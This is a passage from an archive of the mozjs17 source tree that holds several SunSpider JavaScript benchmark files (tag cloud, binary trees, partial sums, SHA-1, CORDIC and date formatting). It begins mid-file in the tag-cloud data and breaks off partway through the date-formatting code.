"overtenderness",\n \"popularity\": 4499\n },\n {\n \"tag\": "keratome",\n \"popularity\": 4495\n },\n {\n \"tag\": "interclavicular hypermonosyllable Susanna",\n \"popularity\": 4492\n },\n {\n \"tag\": "mispropose",\n \"popularity\": 4489\n },\n {\n \"tag\": "Membranipora",\n \"popularity\": 4485\n },\n {\n \"tag\": "lampad",\n \"popularity\": 4482\n },\n {\n \"tag\": "header",\n \"popularity\": 4479\n },\n {\n \"tag\": "triseriate",\n \"popularity\": 4475\n },\n {\n \"tag\": "distrainment",\n \"popularity\": 4472\n },\n {\n \"tag\": "staphyloplastic",\n \"popularity\": 4469\n },\n {\n \"tag\": "outscour",\n \"popularity\": 4465\n },\n {\n \"tag\": "tallowmaking",\n \"popularity\": 4462\n },\n {\n \"tag\": "plugger",\n \"popularity\": 4459\n },\n {\n \"tag\": "fashionize",\n \"popularity\": 4455\n },\n {\n \"tag\": "puzzle",\n \"popularity\": 4452\n },\n {\n \"tag\": "imbrue",\n \"popularity\": 4449\n },\n {\n \"tag\": "osteoblast",\n \"popularity\": 4445\n },\n {\n \"tag\": "Hydrocores",\n \"popularity\": 4442\n },\n {\n \"tag\": "Lutra",\n \"popularity\": 4439\n },\n {\n \"tag\": "upridge scarfy",\n \"popularity\": 4435\n },\n {\n \"tag\": "ancon taffle",\n \"popularity\": 4432\n },\n {\n \"tag\": "impest",\n \"popularity\": 4429\n },\n {\n \"tag\": "uncollatedness",\n \"popularity\": 4426\n },\n {\n \"tag\": "hypersensitize",\n \"popularity\": 4422\n },\n {\n \"tag\": "autographically",\n \"popularity\": 4419\n },\n {\n \"tag\": "louther",\n \"popularity\": 4416\n },\n {\n \"tag\": "Ollie",\n \"popularity\": 4413\n },\n {\n \"tag\": "recompensate",\n \"popularity\": 4409\n },\n {\n \"tag\": "Shan",\n \"popularity\": 4406\n },\n {\n \"tag\": "brachycnemic",\n \"popularity\": 4403\n },\n {\n \"tag\": "Carinatae",\n \"popularity\": 4399\n },\n {\n \"tag\": "geotherm",\n \"popularity\": 4396\n },\n {\n \"tag\": "sawback",\n \"popularity\": 4393\n },\n {\n \"tag\": "Novatianist",\n \"popularity\": 4390\n },\n {\n \"tag\": "reapproach",\n \"popularity\": 4387\n },\n {\n \"tag\": "myelopoietic",\n \"popularity\": 4383\n },\n {\n \"tag\": "cyanin",\n \"popularity\": 4380\n },\n {\n \"tag\": "unsmutted",\n \"popularity\": 4377\n },\n {\n \"tag\": "nonpapist",\n \"popularity\": 4374\n },\n {\n \"tag\": "transbaikalian",\n \"popularity\": 4370\n },\n {\n \"tag\": "connately",\n \"popularity\": 4367\n },\n {\n \"tag\": "tenderize iterance",\n \"popularity\": 4364\n },\n {\n \"tag\": "hydrostatical",\n \"popularity\": 4361\n },\n {\n \"tag\": "unflag",\n \"popularity\": 4358\n },\n {\n \"tag\": "translate",\n \"popularity\": 4354\n },\n {\n \"tag\": "Scorzonera",\n \"popularity\": 4351\n },\n {\n \"tag\": "uncomforted",\n \"popularity\": 4348\n },\n {\n \"tag\": "risser varied",\n \"popularity\": 4345\n },\n {\n \"tag\": "plumbate",\n \"popularity\": 4342\n },\n {\n \"tag\": "Usneaceae",\n \"popularity\": 4338\n },\n {\n \"tag\": "fohat",\n \"popularity\": 4335\n },\n {\n \"tag\": "slagging",\n \"popularity\": 4332\n },\n {\n \"tag\": "superserious",\n \"popularity\": 4329\n },\n {\n \"tag\": "theocracy",\n \"popularity\": 4326\n },\n {\n \"tag\": "valonia",\n \"popularity\": 4323\n },\n {\n \"tag\": "Sapindales",\n \"popularity\": 4319\n },\n {\n \"tag\": "palaeozoologist",\n \"popularity\": 4316\n },\n {\n \"tag\": "yalb",\n \"popularity\": 4313\n },\n {\n \"tag\": "unviewed",\n \"popularity\": 4310\n },\n {\n \"tag\": "polyarteritis",\n \"popularity\": 4307\n },\n {\n \"tag\": "vectorial",\n \"popularity\": 4304\n },\n {\n \"tag\": "skimpingly",\n \"popularity\": 4301\n },\n {\n \"tag\": "athort",\n \"popularity\": 4297\n },\n {\n \"tag\": "tribofluorescence",\n \"popularity\": 4294\n },\n {\n \"tag\": "benzonitrol",\n \"popularity\": 4291\n },\n {\n \"tag\": "swiller subobtuse subjacency",\n \"popularity\": 4288\n },\n {\n \"tag\": "uncompassed",\n \"popularity\": 4285\n },\n {\n \"tag\": "cacochymia",\n \"popularity\": 4282\n },\n {\n \"tag\": "commensalist butadiene",\n \"popularity\": 4279\n },\n {\n \"tag\": "culpable",\n \"popularity\": 4276\n },\n {\n \"tag\": "contributive",\n \"popularity\": 4273\n },\n {\n \"tag\": "attemperately",\n \"popularity\": 4269\n },\n {\n \"tag\": "spelt",\n \"popularity\": 4266\n },\n {\n \"tag\": "exoneration",\n \"popularity\": 4263\n },\n {\n \"tag\": "antivivisectionist",\n \"popularity\": 4260\n },\n {\n \"tag\": "granitification",\n \"popularity\": 4257\n },\n {\n \"tag\": "palladize",\n \"popularity\": 4254\n },\n {\n \"tag\": "marksmanship",\n \"popularity\": 4251\n },\n {\n \"tag\": "bullydom",\n \"popularity\": 4248\n },\n {\n \"tag\": "spirality",\n \"popularity\": 4245\n },\n {\n \"tag\": "caliginous",\n \"popularity\": 4242\n },\n {\n \"tag\": "reportedly",\n \"popularity\": 4239\n },\n {\n \"tag\": "polyad",\n \"popularity\": 4236\n },\n {\n \"tag\": "arthroempyesis",\n \"popularity\": 4233\n },\n {\n \"tag\": "semibay facultatively",\n \"popularity\": 4229\n },\n {\n \"tag\": "metastatically",\n \"popularity\": 4226\n },\n {\n \"tag\": "prophetically",\n \"popularity\": 4223\n },\n {\n \"tag\": "Linguatula elapid",\n \"popularity\": 4220\n },\n {\n \"tag\": "pyknatom",\n \"popularity\": 4217\n },\n {\n \"tag\": "centimeter",\n \"popularity\": 4214\n },\n {\n \"tag\": "mensurate",\n \"popularity\": 4211\n },\n {\n \"tag\": "migraine",\n \"popularity\": 4208\n },\n {\n \"tag\": "pentagamist",\n \"popularity\": 4205\n },\n {\n \"tag\": "querken",\n \"popularity\": 4202\n },\n {\n \"tag\": "ambulance",\n \"popularity\": 4199\n },\n {\n \"tag\": "Stokavian",\n \"popularity\": 4196\n },\n {\n \"tag\": "malvasian",\n \"popularity\": 4193\n },\n {\n \"tag\": "uncouthsome",\n \"popularity\": 4190\n },\n {\n \"tag\": "readable",\n \"popularity\": 4187\n },\n {\n \"tag\": "enlodge",\n \"popularity\": 4184\n },\n {\n \"tag\": "plasterwise Appendiculariidae perspectograph",\n \"popularity\": 4181\n },\n {\n \"tag\": "inkweed",\n \"popularity\": 4178\n },\n {\n \"tag\": "streep",\n \"popularity\": 4175\n },\n {\n \"tag\": "diadelphian cultured",\n \"popularity\": 4172\n },\n {\n \"tag\": "hymenopterous",\n \"popularity\": 4169\n },\n {\n \"tag\": "unexorableness",\n \"popularity\": 4166\n },\n {\n \"tag\": "cascaron",\n \"popularity\": 4163\n },\n {\n \"tag\": "undaintiness",\n \"popularity\": 4160\n },\n {\n \"tag\": "Curtana",\n \"popularity\": 4157\n },\n {\n \"tag\": "scurvied",\n \"popularity\": 4154\n },\n {\n \"tag\": "molluscoidal",\n \"popularity\": 4151\n },\n {\n \"tag\": "yurt",\n \"popularity\": 4148\n },\n {\n \"tag\": "deciduitis",\n \"popularity\": 4145\n },\n {\n \"tag\": "creephole",\n \"popularity\": 4142\n },\n {\n \"tag\": "quatrefeuille",\n \"popularity\": 4139\n },\n {\n \"tag\": "bicapitate adenomatome",\n \"popularity\": 4136\n },\n {\n \"tag\": "damassin",\n \"popularity\": 4134\n },\n {\n \"tag\": "planching",\n \"popularity\": 4131\n },\n {\n \"tag\": "dashedly inferential",\n \"popularity\": 4128\n },\n {\n \"tag\": "lobe",\n \"popularity\": 4125\n },\n {\n \"tag\": "Hyrachyus",\n \"popularity\": 4122\n },\n {\n \"tag\": "knab",\n \"popularity\": 4119\n },\n {\n \"tag\": "discohexaster",\n \"popularity\": 4116\n },\n {\n \"tag\": "malign",\n \"popularity\": 4113\n },\n {\n \"tag\": "pedagoguism",\n \"popularity\": 4110\n },\n {\n \"tag\": "shrubbery",\n \"popularity\": 4107\n },\n {\n \"tag\": "undershrub",\n \"popularity\": 4104\n },\n {\n \"tag\": "bureaucrat",\n \"popularity\": 4101\n },\n {\n \"tag\": "pantaleon",\n \"popularity\": 4098\n },\n {\n \"tag\": "mesoventral",\n \"popularity\": 4096\n }]'; var log2 = Math.log(2); var tagInfo = tagInfoJSON.parseJSON(function(a, b) { if (a == "popularity") { return Math.log(b) / log2; } else {return b; } }); function makeTagCloud(tagInfo) { var output = '
'; tagInfo.sort(function(a, b) { if (a.tag < b.tag) { return -1; } else if (a.tag == b.tag) { return 0; } else return 1; }); /* BEGIN LOOP */ for (var i = 0; i < tagInfo.length; i++) { var tag = tagInfo[i].tag; var validates = true; /* BEGIN LOOP */ for (var j = 0; j < tag.length; j++) { var ch = tag.charCodeAt(j); if (ch < 0x20 || ch >= 0x7f) { validates = false; break; } } /* END LOOP */ if (!validates) continue; var url = "http://example.com/tag/" + tag.replace(" ", "").toLowerCase(); var popularity = tagInfo[i].popularity; var color = 'rgb(' + Math.floor(255 * (popularity - 12) / 20) + ', 0, 255)'; output += ' ' + tag + ' \n'; } /* END LOOP */ output += '
'; output.replace(" ", " "); return output; } var tagcloud = makeTagCloud(tagInfo); tagInfo = null; mozjs17.0.0/js/src/metrics/jint/sunspider/access-binary-trees.js0000664000175000017500000000253012106270663024633 0ustar sstanglsstangl/* The Great Computer Language Shootout http://shootout.alioth.debian.org/ contributed by Isaac Gouy */ function TreeNode(left,right,item){ this.left = left; this.right = right; this.item = item; } TreeNode.prototype.itemCheck = function(){ if (this.left==null) return this.item; else return this.item + this.left.itemCheck() - this.right.itemCheck(); } function bottomUpTree(item,depth){ if (depth>0){ return new TreeNode( bottomUpTree(2*item-1, depth-1) ,bottomUpTree(2*item, depth-1) ,item ); } else { return new TreeNode(null,null,item); } } var ret; /* BEGIN LOOP */ for ( var n = 4; n <= 7; n += 1 ) { var minDepth = 4; var maxDepth = Math.max(minDepth + 2, n); var stretchDepth = maxDepth + 1; var check = bottomUpTree(0,stretchDepth).itemCheck(); var longLivedTree = bottomUpTree(0,maxDepth); /* BEGIN LOOP */ for (var depth=minDepth; depth<=maxDepth; depth+=2){ var iterations = 1 << (maxDepth - depth + minDepth); check = 0; /* BEGIN LOOP */ for (var i=1; i<=iterations; i++){ check += bottomUpTree(i,depth).itemCheck(); check += bottomUpTree(-i,depth).itemCheck(); } /* END LOOP */ } /* END LOOP */ ret = longLivedTree.itemCheck(); } /* END LOOP */ mozjs17.0.0/js/src/metrics/jint/sunspider/math-partial-sums.js0000664000175000017500000000146312106270663024344 0ustar sstanglsstangl// The Computer Language Shootout // http://shootout.alioth.debian.org/ // contributed by Isaac Gouy function partial(n){ var a1 = a2 = a3 = a4 = a5 = a6 = a7 = a8 = a9 = 0.0; var twothirds = 2.0/3.0; var alt = -1.0; var k2 = k3 = sk = ck = 0.0; /* BEGIN LOOP */ for (var k = 1; k <= n; k++){ k2 = k*k; k3 = k2*k; sk = Math.sin(k); ck = Math.cos(k); alt = -alt; a1 += Math.pow(twothirds,k-1); a2 += Math.pow(k,-0.5); a3 += 1.0/(k*(k+1.0)); a4 += 1.0/(k3 * sk*sk); a5 += 1.0/(k3 * ck*ck); a6 += 1.0/k; a7 += 1.0/k2; a8 += alt/k; a9 += alt/(2*k -1); } /* END LOOP */ } /* BEGIN LOOP */ for (var i = 1024; i <= 16384; i *= 2) { partial(i); } /* END LOOP */ mozjs17.0.0/js/src/metrics/jint/sunspider/crypto-sha1.js0000664000175000017500000001500712106270663023145 0ustar sstanglsstangl/* * A JavaScript implementation of the Secure Hash Algorithm, SHA-1, as defined * in FIPS PUB 180-1 * Version 2.1a Copyright Paul Johnston 2000 - 2002. * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet * Distributed under the BSD License * See http://pajhome.org.uk/crypt/md5 for details. */ /* * Configurable variables. You may need to tweak these to be compatible with * the server-side, but the defaults work in most cases. */ var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */ var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance */ var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */ /* * These are the functions you'll usually want to call * They take string arguments and return either hex or base-64 encoded strings */ function hex_sha1(s){return binb2hex(core_sha1(str2binb(s),s.length * chrsz));} function b64_sha1(s){return binb2b64(core_sha1(str2binb(s),s.length * chrsz));} function str_sha1(s){return binb2str(core_sha1(str2binb(s),s.length * chrsz));} function hex_hmac_sha1(key, data){ return binb2hex(core_hmac_sha1(key, data));} function b64_hmac_sha1(key, data){ return binb2b64(core_hmac_sha1(key, data));} function str_hmac_sha1(key, data){ return binb2str(core_hmac_sha1(key, data));} /* * Perform a simple self-test to see if the VM is working */ function sha1_vm_test() { return hex_sha1("abc") == "a9993e364706816aba3e25717850c26c9cd0d89d"; } /* * Calculate the SHA-1 of an array of big-endian words, and a bit length */ function core_sha1(x, len) { /* append padding */ x[len >> 5] |= 0x80 << (24 - len % 32); x[((len + 64 >> 9) << 4) + 15] = len; var w = Array(80); var a = 1732584193; var b = -271733879; var c = -1732584194; var d = 271733878; var e = -1009589776; /* BEGIN LOOP */ for(var i = 0; i < x.length; i += 16) { var olda = a; var oldb = b; var oldc = c; var oldd = d; var olde = e; /* BEGIN LOOP */ for(var j = 0; j < 80; j++) { if(j < 16) w[j] = x[i + j]; else w[j] = rol(w[j-3] ^ w[j-8] ^ w[j-14] ^ w[j-16], 1); var t = safe_add(safe_add(rol(a, 5), sha1_ft(j, b, c, d)), safe_add(safe_add(e, w[j]), sha1_kt(j))); e = d; d = c; c = rol(b, 30); b = a; a = t; } /* END LOOP */ a = safe_add(a, olda); b = safe_add(b, oldb); c = safe_add(c, oldc); d = safe_add(d, oldd); e = safe_add(e, olde); } /* END LOOP */ return Array(a, b, c, d, e); } /* * Perform the appropriate triplet combination function for the current * iteration */ function sha1_ft(t, b, c, d) { if(t < 20) return (b & c) | ((~b) & d); if(t < 40) return b ^ c ^ d; if(t < 60) return (b & c) | (b & d) | (c & d); return b ^ c ^ d; } /* * Determine the appropriate additive constant for the current iteration */ function sha1_kt(t) { return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 : (t < 60) ? -1894007588 : -899497514; } /* * Calculate the HMAC-SHA1 of a key and some data */ function core_hmac_sha1(key, data) { var bkey = str2binb(key); if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz); var ipad = Array(16), opad = Array(16); /* BEGIN LOOP */ for(var i = 0; i < 16; i++) { ipad[i] = bkey[i] ^ 0x36363636; opad[i] = bkey[i] ^ 0x5C5C5C5C; } /* END LOOP */ var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz); return core_sha1(opad.concat(hash), 512 + 160); } /* * Add integers, wrapping at 2^32. This uses 16-bit operations internally * to work around bugs in some JS interpreters. */ function safe_add(x, y) { var lsw = (x & 0xFFFF) + (y & 0xFFFF); var msw = (x >> 16) + (y >> 16) + (lsw >> 16); return (msw << 16) | (lsw & 0xFFFF); } /* * Bitwise rotate a 32-bit number to the left. */ function rol(num, cnt) { return (num << cnt) | (num >>> (32 - cnt)); } /* * Convert an 8-bit or 16-bit string to an array of big-endian words * In 8-bit function, characters >255 have their hi-byte silently ignored. */ function str2binb(str) { var bin = Array(); var mask = (1 << chrsz) - 1; /* BEGIN LOOP */ for(var i = 0; i < str.length * chrsz; i += chrsz) bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask) << (32 - chrsz - i%32); /* END LOOP */ return bin; } /* * Convert an array of big-endian words to a string */ function binb2str(bin) { var str = ""; var mask = (1 << chrsz) - 1; /* BEGIN LOOP */ for(var i = 0; i < bin.length * 32; i += chrsz) str += String.fromCharCode((bin[i>>5] >>> (32 - chrsz - i%32)) & mask); /* END LOOP */ return str; } /* * Convert an array of big-endian words to a hex string. */ function binb2hex(binarray) { var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef"; var str = ""; /* BEGIN LOOP */ for(var i = 0; i < binarray.length * 4; i++) { str += hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8+4)) & 0xF) + hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 )) & 0xF); } /* END LOOP */ return str; } /* * Convert an array of big-endian words to a base-64 string */ function binb2b64(binarray) { var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; var str = ""; /* BEGIN LOOP */ for(var i = 0; i < binarray.length * 4; i += 3) { var triplet = (((binarray[i >> 2] >> 8 * (3 - i %4)) & 0xFF) << 16) | (((binarray[i+1 >> 2] >> 8 * (3 - (i+1)%4)) & 0xFF) << 8 ) | ((binarray[i+2 >> 2] >> 8 * (3 - (i+2)%4)) & 0xFF); /* BEGIN LOOP */ for(var j = 0; j < 4; j++) { if(i * 8 + j * 6 > binarray.length * 32) str += b64pad; else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F); } /* END LOOP */ } /* END LOOP */ return str; } var plainText = "Two households, both alike in dignity,\n\ In fair Verona, where we lay our scene,\n\ From ancient grudge break to new mutiny,\n\ Where civil blood makes civil hands unclean.\n\ From forth the fatal loins of these two foes\n\ A pair of star-cross'd lovers take their life;\n\ Whole misadventured piteous overthrows\n\ Do with their death bury their parents' strife.\n\ The fearful passage of their death-mark'd love,\n\ And the continuance of their parents' rage,\n\ Which, but their children's end, nought could remove,\n\ Is now the two hours' traffic of our stage;\n\ The which if you with patient ears attend,\n\ What here shall miss, our toil shall strive to mend."; /* BEGIN LOOP */ for (var i = 0; i <4; i++) { plainText += plainText; } /* END LOOP */ var sha1Output = hex_sha1(plainText); mozjs17.0.0/js/src/metrics/jint/sunspider/math-cordic.js0000664000175000017500000000525012106270663023164 0ustar sstanglsstangl/* * Copyright (C) Rich Moore. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY CONTRIBUTORS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /////. Start CORDIC var AG_CONST = 0.6072529350; function FIXED(X) { return X * 65536.0; } function FLOAT(X) { return X / 65536.0; } function DEG2RAD(X) { return 0.017453 * (X); } var Angles = [ FIXED(45.0), FIXED(26.565), FIXED(14.0362), FIXED(7.12502), FIXED(3.57633), FIXED(1.78991), FIXED(0.895174), FIXED(0.447614), FIXED(0.223811), FIXED(0.111906), FIXED(0.055953), FIXED(0.027977) ]; function cordicsincos() { var X; var Y; var TargetAngle; var CurrAngle; var Step; X = FIXED(AG_CONST); /* AG_CONST * cos(0) */ Y = 0; /* AG_CONST * sin(0) */ TargetAngle = FIXED(28.027); CurrAngle = 0; /* BEGIN LOOP */ for (Step = 0; Step < 12; Step++) { var NewX; if (TargetAngle > CurrAngle) { NewX = X - (Y >> Step); Y = (X >> Step) + Y; X = NewX; CurrAngle += Angles[Step]; } else { NewX = X + (Y >> Step); Y = -(X >> Step) + Y; X = NewX; CurrAngle -= Angles[Step]; } } /* END LOOP */ } ///// End CORDIC function cordic( runs ) { var start = new Date(); /* BEGIN LOOP */ for ( var i = 0 ; i < runs ; i++ ) { cordicsincos(); } /* END LOOP */ var end = new Date(); return end.getTime() - start.getTime(); } cordic(25000); mozjs17.0.0/js/src/metrics/jint/sunspider/date-format-xparb.js0000664000175000017500000002772112106270663024316 0ustar sstanglsstangl/* * Copyright (C) 2004 Baron Schwartz * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as published by the * Free Software Foundation, version 2.1. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more * details. */ Date.parseFunctions = {count:0}; Date.parseRegexes = []; Date.formatFunctions = {count:0}; Date.prototype.dateFormat = function(format) { if (Date.formatFunctions[format] == null) { Date.createNewFormat(format); } var func = Date.formatFunctions[format]; return this[func](); } Date.createNewFormat = function(format) { var funcName = "format" + Date.formatFunctions.count++; Date.formatFunctions[format] = funcName; var code = "Date.prototype." + funcName + " = function(){return "; var special = false; var ch = ''; /* BEGIN LOOP */ for (var i = 0; i < format.length; ++i) { ch = format.charAt(i); if (!special && ch == "\\") { special = true; } else if (special) { special = false; code += "'" + String.escape(ch) + "' + "; } else { code += Date.getFormatCode(ch); } } /* END LOOP */ eval(code.substring(0, code.length - 3) + ";}"); } Date.getFormatCode = function(character) { switch (character) { case "d": return "String.leftPad(this.getDate(), 2, '0') + "; case "D": return "Date.dayNames[this.getDay()].substring(0, 3) + "; case "j": return "this.getDate() + "; case "l": return "Date.dayNames[this.getDay()] + "; case "S": return "this.getSuffix() + "; case "w": return "this.getDay() + "; case "z": return "this.getDayOfYear() + "; case "W": return "this.getWeekOfYear() + "; case "F": return "Date.monthNames[this.getMonth()] + "; case "m": return "String.leftPad(this.getMonth() + 1, 2, '0') + "; case "M": return "Date.monthNames[this.getMonth()].substring(0, 3) + "; case "n": return "(this.getMonth() + 1) + "; case "t": return "this.getDaysInMonth() + "; case "L": return "(this.isLeapYear() ? 1 : 0) + "; case "Y": return "this.getFullYear() + "; case "y": return "('' + this.getFullYear()).substring(2, 4) + "; case "a": return "(this.getHours() < 12 ? 'am' : 'pm') + "; case "A": return "(this.getHours() < 12 ? 'AM' : 'PM') + "; case "g": return "((this.getHours() %12) ? this.getHours() % 12 : 12) + "; case "G": return "this.getHours() + "; case "h": return "String.leftPad((this.getHours() %12) ? this.getHours() % 12 : 12, 2, '0') + "; case "H": return "String.leftPad(this.getHours(), 2, '0') + "; case "i": return "String.leftPad(this.getMinutes(), 2, '0') + "; case "s": return "String.leftPad(this.getSeconds(), 2, '0') + "; case "O": return "this.getGMTOffset() + "; case "T": return "this.getTimezone() + "; case "Z": return "(this.getTimezoneOffset() * -60) + "; default: return "'" + String.escape(character) + "' + "; } } Date.parseDate = function(input, format) { if (Date.parseFunctions[format] == null) { Date.createParser(format); } var func = Date.parseFunctions[format]; return Date[func](input); } Date.createParser = function(format) { var funcName = "parse" + Date.parseFunctions.count++; var regexNum = Date.parseRegexes.length; var currentGroup = 1; Date.parseFunctions[format] = funcName; var code = "Date." + funcName + " = function(input){\n" + "var y = -1, m = -1, d = -1, h = -1, i = -1, s = -1;\n" + "var d = new Date();\n" + "y = d.getFullYear();\n" + "m = d.getMonth();\n" + "d = d.getDate();\n" + "var results = input.match(Date.parseRegexes[" + regexNum + "]);\n" + "if (results && results.length > 0) {" var regex = ""; var special = false; var ch = ''; /* BEGIN LOOP */ for (var i = 0; i < format.length; ++i) { ch = format.charAt(i); if (!special && ch == "\\") { special = true; } else if (special) { special = false; regex += String.escape(ch); } else { obj = Date.formatCodeToRegex(ch, currentGroup); currentGroup += obj.g; regex += obj.s; if (obj.g && obj.c) { code += obj.c; } } } /* END LOOP */ code += "if (y > 0 && m >= 0 && d > 0 && h >= 0 && i >= 0 && s >= 0)\n" + "{return new Date(y, m, d, h, i, s);}\n" + "else if (y > 0 && m >= 0 && d > 0 && h >= 0 && i >= 0)\n" + "{return new Date(y, m, d, h, i);}\n" + "else if (y > 0 && m >= 0 && d > 0 && h >= 0)\n" + "{return new Date(y, m, d, h);}\n" + "else if (y > 0 && m >= 0 && d > 0)\n" + "{return new Date(y, m, d);}\n" + "else if (y > 0 && m >= 0)\n" + "{return new Date(y, m);}\n" + "else if (y > 0)\n" + "{return new Date(y);}\n" + "}return null;}"; Date.parseRegexes[regexNum] = new RegExp("^" + regex + "$"); eval(code); } Date.formatCodeToRegex = function(character, currentGroup) { switch (character) { case "D": return {g:0, c:null, s:"(?:Sun|Mon|Tue|Wed|Thu|Fri|Sat)"}; case "j": case "d": return {g:1, c:"d = parseInt(results[" + currentGroup + "], 10);\n", s:"(\\d{1,2})"}; case "l": return {g:0, c:null, s:"(?:" + Date.dayNames.join("|") + ")"}; case "S": return {g:0, c:null, s:"(?:st|nd|rd|th)"}; case "w": return {g:0, c:null, s:"\\d"}; case "z": return {g:0, c:null, s:"(?:\\d{1,3})"}; case "W": return {g:0, c:null, s:"(?:\\d{2})"}; case "F": return {g:1, c:"m = parseInt(Date.monthNumbers[results[" + currentGroup + "].substring(0, 3)], 10);\n", s:"(" + Date.monthNames.join("|") + ")"}; case "M": return {g:1, c:"m = parseInt(Date.monthNumbers[results[" + currentGroup + "]], 10);\n", s:"(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)"}; case "n": case "m": return {g:1, c:"m = parseInt(results[" + currentGroup + "], 10) - 1;\n", s:"(\\d{1,2})"}; case "t": return {g:0, c:null, s:"\\d{1,2}"}; case "L": return {g:0, c:null, s:"(?:1|0)"}; case "Y": return {g:1, c:"y = parseInt(results[" + currentGroup + "], 10);\n", s:"(\\d{4})"}; case "y": return {g:1, c:"var ty = parseInt(results[" + currentGroup + "], 10);\n" + "y = ty > Date.y2kYear ? 1900 + ty : 2000 + ty;\n", s:"(\\d{1,2})"}; case "a": return {g:1, c:"if (results[" + currentGroup + "] == 'am') {\n" + "if (h == 12) { h = 0; }\n" + "} else { if (h < 12) { h += 12; }}", s:"(am|pm)"}; case "A": return {g:1, c:"if (results[" + currentGroup + "] == 'AM') {\n" + "if (h == 12) { h = 0; }\n" + "} else { if (h < 12) { h += 12; }}", s:"(AM|PM)"}; case "g": case "G": case "h": case "H": return {g:1, c:"h = parseInt(results[" + currentGroup + "], 10);\n", s:"(\\d{1,2})"}; case "i": return {g:1, c:"i = parseInt(results[" + currentGroup + "], 10);\n", s:"(\\d{2})"}; case "s": return {g:1, c:"s = parseInt(results[" + currentGroup + "], 10);\n", s:"(\\d{2})"}; case "O": return {g:0, c:null, s:"[+-]\\d{4}"}; case "T": return {g:0, c:null, s:"[A-Z]{3}"}; case "Z": return {g:0, c:null, s:"[+-]\\d{1,5}"}; default: return {g:0, c:null, s:String.escape(character)}; } } Date.prototype.getTimezone = function() { return this.toString().replace( /^.*? ([A-Z]{3}) [0-9]{4}.*$/, "$1").replace( /^.*?\(([A-Z])[a-z]+ ([A-Z])[a-z]+ ([A-Z])[a-z]+\)$/, "$1$2$3"); } Date.prototype.getGMTOffset = function() { return (this.getTimezoneOffset() > 0 ? "-" : "+") + String.leftPad(Math.floor(this.getTimezoneOffset() / 60), 2, "0") + String.leftPad(this.getTimezoneOffset() % 60, 2, "0"); } Date.prototype.getDayOfYear = function() { var num = 0; Date.daysInMonth[1] = this.isLeapYear() ? 29 : 28; /* BEGIN LOOP */ for (var i = 0; i < this.getMonth(); ++i) { num += Date.daysInMonth[i]; } /* END LOOP */ return num + this.getDate() - 1; } Date.prototype.getWeekOfYear = function() { // Skip to Thursday of this week var now = this.getDayOfYear() + (4 - this.getDay()); // Find the first Thursday of the year var jan1 = new Date(this.getFullYear(), 0, 1); var then = (7 - jan1.getDay() + 4); document.write(then); return String.leftPad(((now - then) / 7) + 1, 2, "0"); } Date.prototype.isLeapYear = function() { var year = this.getFullYear(); return ((year & 3) == 0 && (year % 100 || (year % 400 == 0 && year))); } Date.prototype.getFirstDayOfMonth = function() { var day = (this.getDay() - (this.getDate() - 1)) % 7; return (day < 0) ? (day + 7) : day; } Date.prototype.getLastDayOfMonth = function() { var day = (this.getDay() + (Date.daysInMonth[this.getMonth()] - this.getDate())) % 7; return (day < 0) ? (day + 7) : day; } Date.prototype.getDaysInMonth = function() { Date.daysInMonth[1] = this.isLeapYear() ? 29 : 28; return Date.daysInMonth[this.getMonth()]; } Date.prototype.getSuffix = function() { switch (this.getDate()) { case 1: case 21: case 31: return "st"; case 2: case 22: return "nd"; case 3: case 23: return "rd"; default: return "th"; } } String.escape = function(string) { return string.replace(/('|\\)/g, "\\$1"); } String.leftPad = function (val, size, ch) { var result = new String(val); if (ch == null) { ch = " "; } /* BEGIN LOOP */ while (result.length < size) { result = ch + result; } /* END LOOP */ return result; } Date.daysInMonth = [31,28,31,30,31,30,31,31,30,31,30,31]; Date.monthNames = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]; Date.dayNames = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"]; Date.y2kYear = 50; Date.monthNumbers = { Jan:0, Feb:1, Mar:2, Apr:3, May:4, Jun:5, Jul:6, Aug:7, Sep:8, Oct:9, Nov:10, Dec:11}; Date.patterns = { ISO8601LongPattern:"Y-m-d H:i:s", ISO8601ShortPattern:"Y-m-d", ShortDatePattern: "n/j/Y", LongDatePattern: "l, F d, Y", FullDateTimePattern: 